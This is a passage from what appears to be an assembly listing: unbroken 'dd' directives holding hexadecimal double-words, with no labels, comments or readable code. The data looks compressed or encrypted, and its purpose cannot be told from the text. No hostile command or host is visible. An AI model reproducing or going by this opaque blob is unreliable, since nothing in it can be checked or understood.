0E2EC278Fh, 4A071F7Ch, 3980BCD2h, 56B3DD88h, 94001834h dd 15FFC373h, 4813F5h, 0BA328EE5h, 0E3D3ADD9h, 0A4535200h dd 0B10B1ED2h, 0FBA90049h, 696A89ABh, 5F010CFEh, 46EA7101h dd 59C065F8h, 0D933008Eh, 35160742h, 4B2698FBh, 94006988h dd 865C89CEh, 0E3843C59h, 0D7776A00h, 0F8B016ACh, 9FB97C00h dd 425F7DECh, 0CBCF0F4Eh, 7F0F321Bh, 0D9625400h, 0C490D3F5h dd 91C7507h, 0D6909266h, 7AF718E6h, 0FDF6B1h, 8BAB9F20h dd 61C2CA22h, 3F58702Eh, 0C1F2EC00h, 190DE5Ch, 60EAD80Bh dd 0F8739905h, 0A0B0C73Bh, 7F5EE500h, 853312CAh, 0F2B7F1Ch dd 5893F042h, 4E0D9080h, 1103402Ch, 0BF21886Eh, 3277B983h dd 26B4F06Ah, 0B54A3900h, 0DFC3E4E9h, 977D26C8h, 0E08C0024h dd 0BD6A362h, 5F1A4707h, 9C4044EAh, 0D3ACE2h, 0E1BCEC02h dd 0C0F53D35h, 0A577FF04h, 5CC09645h, 3AA44CEDh, 0B401D465h dd 34111C28h, 0E8382108h, 3B00ADDEh, 17402F50h, 1E5C5Ah dd 0ABB9B6B3h, 0E626ECF9h, 24CCBD1Dh, 981F6800h, 0EA31CE78h dd 4010C0E5h, 2DF1FF9Dh, 3260700Fh, 0E45C2D5h, 6DC44010h dd 0E27A42h, 7C5275ADh, 6562B28Ch, 0AC5E1F00h, 0D1035A6h dd 7F5B00C1h, 0DB977383h, 1600DDDFh, 0EEE5961Dh, 0BF2AA1h dd 0BCE472A5h, 88782E7Ah, 20C79800h, 4DBDCDE0h, 184B60EFh dd 1D48AE6Bh, 74875200h, 7C5A8A80h, 1E3175D7h, 80B6ED7Bh dd 8EC0A3DDh, 0FF006E25h, 51195EF2h, 5289D7h, 189E1C8Ch dd 0A1C86F1Eh, 277AD300h, 30EA96D0h, 0AA81CA6h, 0F94D00E4h dd 34AB11C3h, 53387800h, 0A1C67A71h, 2F4EC7Ch, 0F6299743h dd 48689BBFh, 8C7C5904h, 154BEC00h, 86C4667Dh, 0DB915C89h dd 16472100h, 0EEC5744Fh, 80B6E03Ch, 9DE892AAh, 8042Eh dd 75E5989Ah, 0EB580717h, 0D0663A38h, 2D0093A4h, 553392Fh dd 0A8C79Ah, 8AF450C0h, 0B5BEC829h, 0DC989B00h, 0CA35782Dh dd 16C30F96h, 4C20C57Eh, 7706071Ah, 55E6C4A0h, 27D5D0F3h dd 56764900h, 19B1BEA6h, 8DA0224h, 64384BF2h, 300163E3h dd 1D881EA4h, 65606C1Bh, 2F1A007Ch, 0BA72968Dh, 0D70038B7h dd 1516D535h, 4B6A05h, 59F6A59Fh, 934E31Ah, 63B60216h dd 58A0EC40h, 984A28Ch, 0C6C2E446h, 519ECA00h, 0AA00954Ch dd 0A62173D5h, 6E5318h, 0C6847C06h, 6F31D669h, 16388849h dd 0DC41A397h, 1FD45696h, 3693F30h, 18DB3D57h, 884868B9h dd 3140098h, 32C25192h, 1F99000Eh, 531C47A9h, 638DAC5h dd 3B6703BAh, 95F29C8h, 6BDF5E18h, 0F47284DDh, 0EC65B4C0h dd 67C1011Ah, 80710ACFh, 0A0C2ECA9h, 9C0405FCh, 2C3824C0h dd 409398C0h, 0C72B03EDh, 542AC98Ch, 5DC144D8h, 9CE80724h dd 0FD0321Eh, 0FEF98075h, 7A0C1403h, 0E19363h, 73760811h dd 43A02DE3h, 72204D00h, 5423DD47h, 0A0F4A33Eh, 72EDFB1h dd 0F51036EEh, 39EC037h, 0C500A6E0h, 23495EFh, 1821818Bh dd 28D9B9BBh, 56009C86h, 0AAA36963h, 794C53h, 0B9666425h dd 0D3F61DDFh, 0C7262898h, 810F9A1Ah, 8A27A098h, 0F40988D5h dd 0E7F80Ah, 0D64DE5D4h, 7EF565Eh, 1AACA900h, 83DAE4CAh dd 9AE604h, 2F48F43Bh, 0D7BF285Bh, 63704500h, 1268FDBCh dd 2ECAF4A6h, 0D04935h, 0C6D8C999h, 3B163107h, 3500E20Bh dd 3351157Dh, 74AC0063h, 56B21684h, 0C7734D2Fh, 0C31ADCFBh dd 8A210D13h, 0DFE90000h, 3DEB829h, 2E740AEDh, 0D6FA8F50h dd 0F6E010EBh, 537A7764h, 32087C03h, 0E99F4633h, 17F081E4h dd 0FD8979D6h, 98096432h, 0C00726Ch, 82A6A276h, 0F00FC77h dd 0C4E95FD8h, 96F1D9Bh, 49EAA55Bh, 3BCF5402h, 92F7F0A2h dd 0F032E880h, 5C00076Ch dd 0CF8CB1CDh, 708BD36h, 0D9F8471Ah, 0F481AFAEh, 708F3DA8h dd 0CA282A3Ch, 7801FFBEh, 0B1E8C863h, 64ECD432h, 450E01B6h dd 48BEEF6Ah, 9F308089h, 14EAA158h, 0E43B00E2h, 7A23DA42h dd 87791C19h, 12DB4B00h, 0C891A6E3h, 0F9D1001Fh, 179DBD77h dd 0A1006ADCh, 1C0B15B2h, 0B4C12A4h, 0F07721E3h, 301BF000h dd 700FE42h, 0B84691BCh, 144AF867h, 0F0F2E183h, 401E5A1Eh dd 64416CC1h, 0D9000978h, 4718E4BDh, 5082337Ch, 0A0FCF2B0h dd 10015BFCh, 21C3146h, 0DAD4B55Dh, 4FCC80DBh, 1BAD189h dd 0F6939E0h, 30D090A8h, 5A00B64Fh, 4BEA612Bh, 71EAABDh dd 5E5039DFh, 70D4E7FDh, 0D212B425h, 0FC610628h, 0DA0DAB11h dd 1646EE00h, 6BFE53C3h, 0BB513200h, 954B5517h, 0D8A2A0E8h dd 0A7C8001Dh, 213544F8h, 9700BDD3h, 1FADB18h, 0C43AB8h dd 1456D557h, 0BAEC4629h, 3590F40Fh, 0B26580CCh, 1F838022h dd 80E46A37h, 8636C355h, 0B4006352h, 71CB0ED5h, 3C0942Eh dd 107E6EA7h, 1888788Bh, 0EE1E65F5h, 0CCCF7929h, 47A6609Dh dd 1B908B3h, 35F11DBBh, 0F32CC795h, 0B54410C0h, 31A7EF07h dd 0DB4AD2h, 0F189723Ah, 3492F8h, 0F487EF4Bh, 0DE81560Bh dd 0BFB29904h, 0FAC01075h, 0A078DA7Ah, 2D8A5F0h, 13D78F64h dd 41F748DEh, 487093E4h, 252D0347h, 6CCED534h, 0EF68A1A8h dd 0F93AA300h, 63D49A6Dh, 8DB8EEh, 0BA992BE1h, 0CEF6DA4Fh dd 806118A1h, 242AF411h, 977A54Ah, 0CB55C920h, 83FDD060h dd 0DE010E1h, 189A0099h, 0C3059C5Ch, 80F804A3h, 9F2BD300h dd 61777C38h, 3CA007FBh, 80981BD0h, 2E41F711h, 0B7004771h dd 9F815276h, 0C04327EDh, 15FB3920h, 1B603ECCh, 0BCA77E69h dd 44CF4CC1h, 7100303Bh, 1B9E997h, 70057353h, 4F409F5Fh dd 42D6F8C0h, 272B05ACh, 80CB3C97h, 98AA5B43h, 0BA15B606h dd 155842DDh, 9C7CD5C2h, 3A5B3700h, 0B1751C83h, 0EE6F5E00h dd 0CE95B04Ah, 0DD2D001Bh, 7F0ADA49h, 0FF1D42F0h, 68008B93h dd 0E37A3929h, 55FB0094h, 0EFFAB0D1h, 140B7991h, 0F65CD0h dd 881733B1h, 27ECFE3Bh, 0E67690C5h, 0A0D1D700h, 0FEE0CFDDh dd 5C6D000Fh, 8F281287h, 0AD00D383h, 0C3626FF9h, 6921DEh dd 23C44053h, 82633D20h, 0D39B807h, 37D0D3A9h, 0B8A8A4E8h dd 0E26E007Ch, 89F4AEA2h, 490F1250h, 942C1B58h, 4F068E0h dd 217A30F6h, 0A588011h, 750A1A61h, 6E8515Ch, 0E9AE3E1Bh dd 0B7310D01h, 4787ACF2h, 0C2B4C7B4h, 56E1C22Dh, 0B9D7FCF0h dd 59421731h, 3AE8C926h, 8D50C436h, 7F482084h, 0C1127C4Bh dd 99096C28h, 0FBC440F7h, 0A5009D4Ah, 8D2DF06Dh, 1298F6Eh dd 3E032862h, 8AF5E932h, 6040C061h, 86063F11h, 59021657h dd 913EF907h, 10F68DBh, 5942CCF0h, 76DD7049h, 58D98C00h dd 666FC100h, 64C09E7Fh, 2DAC18F3h, 0AAAEE880h, 0BC0F707Ch dd 27F58D7Ch, 69CD447Fh, 0F71D9C8Ah, 21C0CF4Ch, 1AF45431h dd 5D309576h, 5A84A9FFh, 26184416h, 4B91D304h, 990EFFE0h dd 688F492Eh, 41DA1D03h, 532502Fh, 0F47A0FB6h, 0A9B2D602h dd 4BFD574h, 3E944BF0h, 0A128CB18h, 0C1F8DBh, 0AB3B7083h dd 10199E74h, 4B7D750Eh, 28450D81h, 368C10FEh, 890FF588h dd 0E97C086Dh, 6C10A812h, 0C902E9B9h, 28116FC3h, 0A421AF33h dd 91C8D908h, 248F00B5h, 79D692B1h, 56D0015h, 23825C37h dd 0ED004797h, 69145DAFh, 7509C174h, 72A6006Eh, 3ACEEAFAh dd 309033BEh, 0B06BCC00h, 0F9E4EF8Ah, 4576C3h, 2AC93930h dd 26AED0F8h, 0C5857400h, 0B533F20Eh, 0B60500FEh, 0D19F5473h dd 9D7609E0h, 8CE67D06h, 410DF9Ah, 73B2FB8Fh, 3C6CC316h dd 0B0A7069Ah, 3492A0A1h, 6400DF7Ah, 0A8A4835h, 0F44A1B10h dd 0E9EC69h, 0FBEAF6C0h, 793FC866h, 0A75CC204h, 5490A0EFh dd 435E19h, 916DC1D3h, 32AECAB9h, 8DE8F400h, 8E8F3EC8h dd 0F87A9Bh, 0F9279CCCh, 3D45B31Dh, 0E135B900h, 6EFD4AC7h dd 13940352h, 93A82207h, 0C5804E80h, 97FAE700h, 0B3260A03h dd 53EB00FFh, 0CE6771D4h, 0E8004B8Eh, 181D2E5Ah, 460977h dd 0E3BCFEB2h, 0F8154707h, 4EA4DC00h, 863497DEh, 2FC61F72h dd 1B8A8087h, 0CCD44233h, 3AF23Eh, 0A50926AAh, 3218D1h dd 0E2F3F792h, 21A65B67h, 0DDFBFC00h, 610C70D9h, 0AB90003Fh dd 0FAF6ED24h, 590B4519h, 8E6ADAC0h, 98CDE05Ch, 0F4CAD0B8h dd 35F275h, 0C90C74F0h, 9FFAF7A5h, 9177292Eh, 9E1FEC00h dd 0FAD8Ch, 7F4EE546h, 50A9530Dh, 1E03BEE0h, 15DB95B1h dd 59CEC843h, 52272DDh, 8517DC4Eh, 0FFE400BBh, 44B5E07Ch dd 0BE9A4902h, 0FDCFABAEh, 0A3642640h, 665D1F2Eh, 800ED700h dd 7E33B3h, 13DFC4BBh, 60968463h, 0D00AE98h, 0B438F378h dd 1D20C952h, 80D4F8EBh, 0D9409B8Ah, 8712E3A4h, 1C38C254h dd 933D0C89h, 3F103249h, 1043F707h, 0D610EA96h, 946856h dd 98BFD844h, 820C1C7Bh, 7E5C4E00h, 0F6AFC732h, 306900ABh dd 8E385F2Fh, 40001334h, 0F4CB7E5Bh, 88C14C2Eh, 3E00EA72h dd 0DCB2E60Bh, 126942FFh, 0B4130Fh, 958ACB6Ch, 511D5E4Eh dd 4C80E502h, 73E9F3D8h, 903C73CDh, 0DDFC03FDh, 0F75B608Fh dd 91007A83h, 33D581D4h, 6EEFBAAh, 0F2747172h, 8A03193Ch dd 84585ECFh, 0A41BE0EAh, 0D6EB0006h, 0EEE37B55h, 0C600DD80h dd 0CBD234F2h, 45E926h, 4B3A8718h, 1D174EB0h, 8054FF30h dd 98933EDBh, 0E2D50012h, 38B6F2E7h, 1579E606h, 6D7FB409h dd 3E00EFEh, 0E8F1AA9Eh, 9AC8F6Ah, 261613BAh, 355F3401h dd 3682075h, 0D5CC3B00h, 0B3320CE5h, 3A607872h, 0BF80A520h dd 85F32DBEh, 5C006A99h, 0AD05B439h, 906C2Bh, 0CA6E43A3h dd 0ECA0AEF9h, 0D6302F2Fh, 0A91C0FF0h, 0BFC800F3h, 46180113h dd 0BBA6290Bh, 0E28F5F75h, 7E583B60h, 0A23D0D5Fh, 0DA1780B7h dd 83F659A0h, 1B9A01AAh, 50A3D34Fh, 0C05BC5B6h, 0D413811Ch dd 7000C68Ah, 2A9ABC80h, 0AD430006h, 0CA86733Dh, 0C60028D4h dd 171E0CE2h, 0E1A78934h, 7B48F020h, 0C83A0035h, 6CE04480h dd 703EE754h, 0E51980A4h, 3A6525Dh, 0D0F00BDh, 0DEFFB51Ch dd 7D31BFF5h, 0BE4D94EAh, 5A9CD4h, 0A96825E3h, 7D81ABCFh dd 903B4500h, 0FEC5BA02h, 0B89B0006h, 16EB1475h, 3E007496h dd 2E4AC6B6h, 275326h, 3DE5C9F8h, 0D4135419h, 5BA98E00h dd 486FDA46h, 0C5713CB7h, 24296680h, 46AE244h, 86605500h dd 0EB9C2028h, 0B01F0057h, 0F4F8F52Eh, 0F939793Ch, 0E503BDDh dd 0E0060D38h, 0C8B61CCBh, 712A0737h, 50139F4Ah, 888F33C1h dd 475FBE00h, 7DEA8C29h, 59B8006Eh, 0A504B26Fh, 0DFA58BBh dd 0C900D0EAh, 0AF5EBAC2h, 262407F8h, 0E07DADh, 8035A185h dd 53074D2Ch, 25F73718h, 20A67990h, 1EC71h, 0CFEA03B0h dd 9F94AB55h, 6291CE00h, 8B30C539h, 0B8BE0011h, 65D69993h dd 17E6141Ch, 80209D3Eh, 2A2478F7h, 581B766Bh, 633F1444h dd 0AC4C7400h, 6F7C9CEBh, 18A2450Fh, 0B0A0001Eh, 0E8EF5249h dd 56F0394Bh, 653E163Eh, 8080C53Eh, 0C4DC25Fh, 4A00D336h dd 0DBCD30E7h, 0EC98CE0Eh, 0A0C70434h, 80A15D25h, 20E88B5Ch dd 1839E075h, 0F76100C2h, 0BBCF8DA7h, 0AB8A00F3h, 0E0A4FE0Ch dd 411D55FCh, 9D8052B5h, 0A77B2756h, 4844799Fh, 0D7026D2Fh dd 0C846908Bh, 0DCD45C40h, 80844E4Ch, 4F2CB5ABh, 0E89026h dd 7EC9C2E8h, 323B4BEDh dd 97590B13h, 0EFDFA800h, 1DD3928Bh, 0C05DC0F0h, 358330E9h dd 0AE077D82h, 294FDB67h, 0ABF43AA0h, 3DED00F5h, 0F7A4E8B0h dd 0AC69F004h, 34F8006Ah, 9895AED5h, 3B24E2D5h, 53865AFEh dd 502AC614h, 0CCE363Eh, 1057909Fh, 0EF0A01EAh, 316A8CCCh dd 0E93920C8h, 0AAA74A0Bh, 0A9B4803Dh, 0C2DC9ACh, 0CDA531F7h dd 390C4CD1h, 1135EEAFh, 3EAE000Fh, 749B7F5Dh, 6500EC23h dd 5BF21CD4h, 44F4E67h, 248E6B34h, 0B39CC0B0h, 0B52E7B2Ah dd 3833CE3h, 0D79970h, 2CDC4F70h, 0B320FD97h, 0C44D3500h dd 21FCE595h, 59A100B7h, 7C5B2830h, 4A249AFEh, 8C24FA45h dd 0E906C201h, 98F8E30Bh, 7B282456h, 0BE4A02C8h, 0E0422Eh dd 5B01E40Fh, 0E25966Fh, 0A0DBCE1Eh, 0F2ECADDh, 0DFE02A8h dd 0C2EE007Dh, 0D1EC97ABh, 6264070Fh, 9CB99F28h, 8F07A118h dd 0D2A0F033h, 0F0B737C5h, 437B03B1h, 73E2CE05h, 9ADAFD90h dd 3E93D400h, 0E6970201h, 0B33A000Ah, 4EFC05F8h, 5A187568h dd 0C1F880D1h, 0AC820065h, 43EFC0D7h, 102CB67Fh, 9005D81h dd 9C335CADh, 5106485Fh, 9BD56600h, 817E453Ah, 0EB155205h dd 0FC90294Dh, 2487B1A2h, 0BCD64Fh, 0C13B7454h, 2216BE62h dd 3800F998h, 8C4B84D1h, 42E6094Ch, 0A8A08576h, 1E1C1411h dd 223ADC03h, 3FC6EEDh, 65906130h, 5DF0EF2Bh, 88006912h dd 1D167D22h, 29AF50h, 4C719368h, 7C890C75h, 47A56500h dd 64C0EF78h, 7112CDBh, 94F70E99h, 514EEB80h, 0AB001A48h dd 5AE4C214h, 705FB92Dh, 0CB84803h, 0B7188300h, 0DE6595F9h dd 4711A600h, 1B0887A4h, 244C00C0h, 0B6D2FA69h, 0F00D472h dd 477E6249h, 5C3873Eh, 0D8A4799Dh, 56AC8015h, 0A600C601h dd 0D4EB212Dh, 13CEAAE5h, 0D3DC25h, 2CD97550h, 9C121D79h dd 1B0396FDh, 89B92E54h, 2FDCD0A4h, 3C580078h, 5069FEEAh dd 88007CCAh, 0BDDF6DAh, 1237459Eh, 0C0993C71h, 47B68658h dd 0B098E60Eh, 7C0F776Dh, 0DDCF2053h, 0EC372D2h, 8A056190h dd 0F2689121h, 0F464203Eh, 0BA78E000h, 252C9242h, 26EA16EBh dd 0BC860C7Eh, 2A24A72Ah, 0D181D001h, 19518DADh, 2FF2882h dd 4460C016h, 9014C0Fh, 7A44D3Dh, 0E9C4F42Bh, 0EA771E96h dd 0AEFA00D7h, 21D90139h, 0CC6C7D1Eh, 94A0B3C0h, 95668DF3h dd 0D40072D0h, 0D342C179h, 0B8A832DBh, 44A94CB8h, 0BEC0077h dd 8CD71E6Ch, 0EB012404h, 0A028B48Bh, 5DC0C567h, 0AF5A0090h dd 7E1D5CB8h, 0D0EB4686h, 99002C24h, 7C572070h, 0A1BD97AEh dd 242804F8h, 1E239084h, 0CE00D564h, 0B9EAF6B0h, 1DE50041h dd 0C71AD079h, 47589BBBh, 0F4A60040h, 575DB5D9h, 1BF703C2h dd 0B91EDFC4h, 86300DFh, 6400710Eh, 8D4AC3B2h, 0BFC075h dd 7C77496Ch, 4D079252h, 535E7D05h, 0CA84DBF9h, 6F8FAA00h dd 48DEFD77h, 0C9005C01h, 47246390h, 0FFF2E64Eh, 0D7E2F103h dd 0B27096EBh, 0FC5804h, 6770D54h, 31B057CAh, 3B007EFEh dd 723FC779h, 284F24C9h, 0A829BDh, 939BE54Eh, 0A09D0432h dd 0FCA450Ch, 52E704Bh, 886A2290h, 0F19CC14Dh, 0EA9DE43Ch dd 65C8E600h, 5BA3EEDh, 304A60F7h, 0E4C4FCC1h, 406C9C01h dd 41E817D0h, 8EF66980h, 473C8ABFh, 353B2701h, 59FF2610h dd 2E702D8h, 0D70304E4h, 0A4E0DA1Fh, 8C7BAC55h, 808A933Fh dd 8429CD5Ah, 0EDC635Eh, 9AEAF756h, 33BA6E21h, 2F18702Eh dd 1498F4A3h, 0AB034656h, 0F78AF9EDh, 7723E035h, 2C569009h dd 1E04FDAFh, 7C1980E8h, 0EF1FCFF4h, 5F711700h, 0A0B2493Dh dd 35CFA60h, 0EAAAD497h, 47D96E74h, 1C72A5h, 704F2240h dd 0E1BDD1D8h, 72ACD70h, 8745C549h, 81DA3312h, 9DD06800h dd 46AC6BD9h, 68DC14A5h, 13028892h, 18A0E304h, 8EC5BC80h dd 0D70021DAh, 887B9B96h, 70C6A8ADh, 912C00ACh, 0FAED137Dh dd 0A000F897h, 90689550h, 0B0A678ABh, 3D7FA2h, 0BD2C7C7Eh dd 92658B51h, 0B0FAE61Fh, 0DC36C200h, 8F9961h, 0FF515612h dd 4942681Fh, 0B30118EEh, 15286E6Fh, 12304A17h, 9662014Fh dd 9038C5E7h, 0EADF4251h, 6D7A8783h, 6346FF80h, 6E3D9574h dd 74840794h, 0DB00F371h, 75BC570Ah, 0BF540025h, 5F7CEBB5h dd 9D005B6Fh, 0D509DE48h, 1020E5h, 0D977C999h, 0BA866AE8h dd 0A239667Ch, 94A80F7Dh, 61F8A0BEh, 7ECFA01h, 0D2704D49h dd 557E200Bh, 0A13C42CCh, 1F600F44h, 9B6C2339h, 0FBCC0F3h dd 29EF040Dh, 0C09F6372h, 255811B5h, 0F180626h, 0A3E0B406h dd 6BB20028h, 0ED1C4BB7h, 0DD00C89Ch, 4066A1C3h, 30F82ACCh dd 0BF11B6FDh, 0F40FB486h, 406C4AC9h, 4563962Dh, 0F75401C2h dd 37DE34F6h, 0E429D008h, 0BC28DF03h, 0A87F84B8h, 0FC11BF9h dd 38F220Eh, 1D2AE8C0h, 0B8FAD4F4h, 0CC1AF4Ch, 92945658h dd 4A3700FBh, 453FDB81h, 0E903DFF7h, 0E8844729h, 0BE10005Ch dd 4F09F6DCh, 650042F4h, 27ED6473h, 1D4BAB59h, 80466BBCh dd 26491187h, 900D0A8h, 21B239C9h, 0A68F58h, 0ADE7F964h dd 5301DC4Ch, 2F1DF673h, 30401CE0h, 5F51ACABh, 83310096h dd 0EECFD499h, 0C38E85Bh, 0EC3080D1h, 5D236F2h, 0E22F43Ah dd 0A4652A10h, 77E08E6Fh, 86B6740Bh, 1D1B951Ch, 11420CEh dd 0DD9B90D8h, 185A9440h, 0DE7DDFh, 7FE74A71h, 518E8868h dd 0C5DC0300h, 0E34E0DADh, 46D400BEh, 0A03E1FA4h, 8C3C749Dh dd 903D8FD5h, 3C26403Ah, 8EC458h, 6212A8AFh, 0C241E7B9h dd 2AF3E800h, 0EE849DECh, 28D500BEh, 0D2BB39B3h, 2B308C83h dd 30688CBFh, 53F0F64h, 66A0B817h, 1D12C56Dh, 621FF2F6h dd 0AC02050h, 47087803h, 0C64F0041h, 37AAB8C0h, 9503DBCEh dd 71D57B76h, 650CA84Bh, 0C19B1508h, 8200F894h, 27B98A99h dd 63003F74h, 5B153057h, 0D25A13h, 352E2534h, 18B4029Bh dd 0BD8D9F00h, 3FB50D8Fh, 1D8ECB8h, 335FF5C9h, 0CC9FEA5Dh dd 110E946Ch, 0A08499F9h, 180B6D7Eh, 0FC40FB8Ch, 980F955Eh dd 0BF580394h, 980D01CAh, 5B0754D8h, 2B1D5492h, 0C29CEB27h dd 0DD788003h, 1CB0D3F7h, 75D5B0h, 0BAA8356Eh, 6F0184D6h dd 0A522E534h, 0E0A807B7h, 54520010h, 3AB2A93Fh, 0AB009A50h dd 0B76259D4h, 0E6CE2D5h, 0B054FC30h, 89E239EEh, 2BE07525h dd 5C28AD7Eh, 0C77FD687h, 280F51E4h, 41E96BA8h, 0E2B23037h dd 46A030h, 0ACA3F1C9h, 0E229FF7h, 0F402BEE8h, 0A5BD382Dh dd 0D7684241h, 44826960h, 6B004890h, 0CD2CA9C1h, 0A67EF6h dd 0B70930D2h, 38ACE2DDh, 7FE47D00h, 0CF8770AFh, 0EDB03D9h dd 10EDCC28h, 34F6AC0h, 0C5FFA700h, 6215F6C4h, 338FA192h dd 3A2160h, 17E0FDDFh, 0CAD85C7Ah, 0B1CB1503h, 0B029A090h dd 5D73FCh, 3A19C6CCh, 67917E64h, 88A8471Ch, 3EF16980h dd 3DAA4F9h, 404D6196h, 5B8EA71h, 0CC0FD86Ch, 0DEB8F76Bh dd 4E0AC1C0h, 95206F19h, 28910F50h, 36A3E800h, 12BC76h dd 6BE6803Ah, 66B5DE93h, 403249h, 0A082BA3Dh, 70F06946h dd 451E1F2Ah, 6B420E5Dh, 6E3AC5A1h, 4C28300Bh, 7F8D4607h dd 87811126h, 9BE4D374h, 84DB00F2h, 0DE4520CDh, 0D60BC0F8h dd 0B09904h, 53892235h, 6F7717A3h, 2F46C0A0h, 0A7F63936h dd 7AA27300h, 0E2195B24h, 7CB4030Ah, 4C46B53Fh, 0AF4ADCA0h dd 0A2E4B200h, 0DAD51BC9h, 0E5160099h, 0B06736E0h, 3F282139h dd 354CB808h, 6EAC0027h, 0B83BA65Eh, 2B8A00BBh, 1F6BECF0h dd 7501C351h, 6354AFA2h dd 1AF84958h, 6EA000F6h, 4F0BAE79h, 6400CE56h, 0C365B1D7h dd 60A9D5Ah, 8A498909h, 3B026837h, 5E3E3CC0h, 0DF97C143h dd 5D31880h, 861E8E5Ch, 640C29C0h, 1FFED73Dh, 0BAE49423h dd 5818900Ch, 167CE120h, 0B375F81Ch, 6097B6CFh, 59BEA746h dd 1021F17Eh, 0FABC609Eh, 0B7D3E160h, 0BA18AB71h, 0EA799D7Ch dd 0B1CF12CEh, 215319A3h, 5D03E0D5h, 383D8530h, 0A3238937h dd 0DCF3904Ch, 4B733AD9h, 6605D002h, 1087608Eh, 1C5A5Eh dd 0DBAB89B3h, 0E7003311h, 71750831h, 0B80799E8h, 0B54012C3h dd 63C507FCh, 0C5E9304Ah, 0A1008209h, 0A61EAFE8h, 4877BA51h dd 0DC0067DAh, 19E50B0Eh, 0A700B8CBh, 7496C47Ch, 0F61AD62Dh dd 0F5980B03h, 4480AA20h, 91B5697Bh, 0A6BCF400h, 0A0497128h dd 0E187022Dh, 3C52D008h, 8A178CA0h, 0C203241Eh, 0BA8B418Ch dd 110830FCh, 1E620521h, 201F9590h, 61460FE4h, 0F18F04h dd 0A95FECD4h, 0A65D947Ah, 0F3F1B200h, 9752933Eh, 7174E4h dd 1C87A7D5h, 318FA82Dh, 9173006h, 3E18D9AEh, 0DFA69C1Bh dd 9C224Ah, 29B641BBh, 289E885Ah, 471C2E00h, 0D586E1C6h dd 3799C0D8h, 5FCD2D96h, 0A8113C60h, 72D14BC7h, 43A607B1h dd 46ABA189h, 239860A7h, 7EA9C3A0h, 0C3921600h, 40750F8Bh dd 8634925h, 0EE612B16h, 55B09918h, 2FF64024h, 0FBD29910h dd 8CC7A040h, 3F1E8B04h, 2862B4C2h, 639823h, 27F38E20h dd 2F095D0Ah, 0A3927914h, 12106328h, 0C4780038h, 9CDA4648h dd 0B7017Bh, 0A7B1506Ah, 14D60007h, 0C2ED08F9h, 1B002DD1h dd 0C976CAC4h, 0A79855h, 93666D8Eh, 0B7E208FDh, 0DB28F460h dd 635C896h, 51D88EACh, 61004130h, 0D2285A7Bh, 3F72DF0Ah dd 8580B65Bh, 60C3ED38h, 0C0006CFBh, 0D5BBF4DAh, 0CFF6D750h dd 0DC20BC10h, 0B7DB26E6h, 0F330D326h, 0CE359C00h, 0E05AD5A0h dd 1BB100AEh, 1E015556h, 76006838h, 0C2A2DFBDh, 7812F50Dh dd 570E0077h, 2D6D09DDh, 300058A5h, 73DAF3A6h, 380F528Eh dd 5A009CC8h, 42F80BB3h, 5BE2775Eh, 92FDB501h, 0D9B6DFBCh dd 54755080h, 0D26EF003h, 415D180Eh, 87ED803Ch, 605BBEDCh dd 50F5A868h, 10009091h, 153E54B9h, 553356h, 8560DC5Ah dd 884E49E8h, 32BDE600h, 203BB16Ch, 62BB0C25h, 0C42A119Ah dd 1C5140C3h, 91F0A796h, 1CD59EFh, 7493DB6Bh, 0C84E3814h dd 37766E53h, 19BEB800h, 60114918h, 614A006Bh, 1667BBCEh dd 800E33F8h, 6D32B17h, 7C6918F1h, 0C4680E50h, 810C6674h dd 1400E919h, 0FB351C59h, 7BB13CCh, 92E4C08Dh, 8E1EE16Ah dd 69989112h, 3E98930Ch, 6C00A0F1h, 2692DAF2h, 0C334D715h dd 0F9779340h, 0A2614DA8h, 38FF0530h, 31B89B90h, 3C58F660h dd 275180C8h, 5B1D8D71h, 637900F1h, 8EBF68E6h, 5173F925h dd 0F88BA52h, 0C1849443h, 23C77319h, 9861FCh, 9586B171h dd 6A8C1430h, 52460901h, 0EFF81102h, 68FD6BECh, 0FC041051h dd 0FEF10618h, 7CB7D910h, 5DF9001Eh, 2E5546Bh, 87749289h dd 0BF06E900h, 0D60D3ECBh, 290364F6h, 0F4282157h, 4C111312h dd 217324F6h, 17121C7Dh, 89772610h, 44A8081Fh, 22848B2Eh dd 3B447E58h, 0AAA30090h, 30EEE812h, 893AB5CEh, 0C277804Ch dd 8EFDB6C8h, 0EC655ADBh, 27BB0094h, 0A347BAC4h, 0CB230088h dd 9EB20D6Eh, 4A009734h, 3838F5Ah, 603378h, 0E5BCB8C7h dd 6C0F7018h, 642EAD00h, 55D51A3Ah, 1C129837h, 307DE33h dd 6EBB15C4h, 0E345C0C4h, 0DD05FA13h, 0FDE5C190h, 0A169B840h dd 435D4Ch, 52F07FD1h, 903665CFh, 3C67D1Ch, 0F34CD280h dd 3B93019h, 5E3298FAh, 4000FB24h, 237BA0EEh, 0ECDEA9h dd 4741B176h, 0CD1D0B2Ah, 0D87C3C1Dh, 86C3F400h, 0CE8999h dd 88F3BD66h, 172F8063h, 0A730A900h, 20C29339h, 3CF02Bh dd 27248F16h, 6403B537h, 67A58703h, 0C8EAE677h, 6053F1h dd 0D9828ADCh, 0AF763795h, 3403D37Bh, 293A59BCh, 360888E4h dd 0CEC44CB5h, 4A68F00h, 55751F1Ah, 0B3845800h, 8CB89329h dd 0EA05009Fh, 3A302A48h, 2C70A8EDh, 7AF98403h, 909C7EE0h dd 0E7BC5F5h, 0DBBD5E3h, 2A6FA2C0h, 6B07DE99h, 0F2A3AF79h dd 0B458F8A0h, 0EA70017h, 5269E00Ch, 1F00E79Ch, 21612382h dd 19DE08h, 46531533h, 0EE9E7A9Dh, 1C000275h, 0B085E4B8h dd 1429CB60h, 0F488C2EFh, 300B5700h, 19D621D9h, 0E9642712h dd 56169400h, 0C16E8Bh, 37C40ADDh, 0E750997Eh, 7C22F100h dd 0DF74E45Fh, 6891F80h, 880380F2h, 1CCF950Fh, 0A44F600h dd 0D0BAD3CDh, 0A4860097h, 0D25C3330h, 0CA006550h, 0EC4681D4h dd 2DCA7FEh, 671377Ch, 7FE0C8C6h, 0BF1F8822h, 1E822C55h dd 0C0966091h, 0F598C95h, 0CB36328Dh, 20B092Bh, 0A2F03F03h dd 5A5068D0h, 25155702h, 425D0DB4h, 0AF01FF38h, 204067DBh dd 0BD2EE238h, 0AB01DA33h, 2FC095E6h, 0C85C43C6h, 1FA193h dd 5C06C2A8h, 693FF8AEh, 0EEA4240Ah, 0E301DCCDh, 540821Bh dd 0FE767020h, 98E430h, 0A038ABD1h, 3E063513h, 68A3CC0Fh dd 0F70EDF55h, 3800322Eh, 0D02D0D66h, 0DB780585h, 0C0AACAF0h dd 75997747h, 8A3C3203h, 1879A44h, 16BCBA20h, 0F8852F10h dd 433CB5E1h, 0ABD580AFh, 994F2770h, 0D4A100CAh, 5204F77Ah 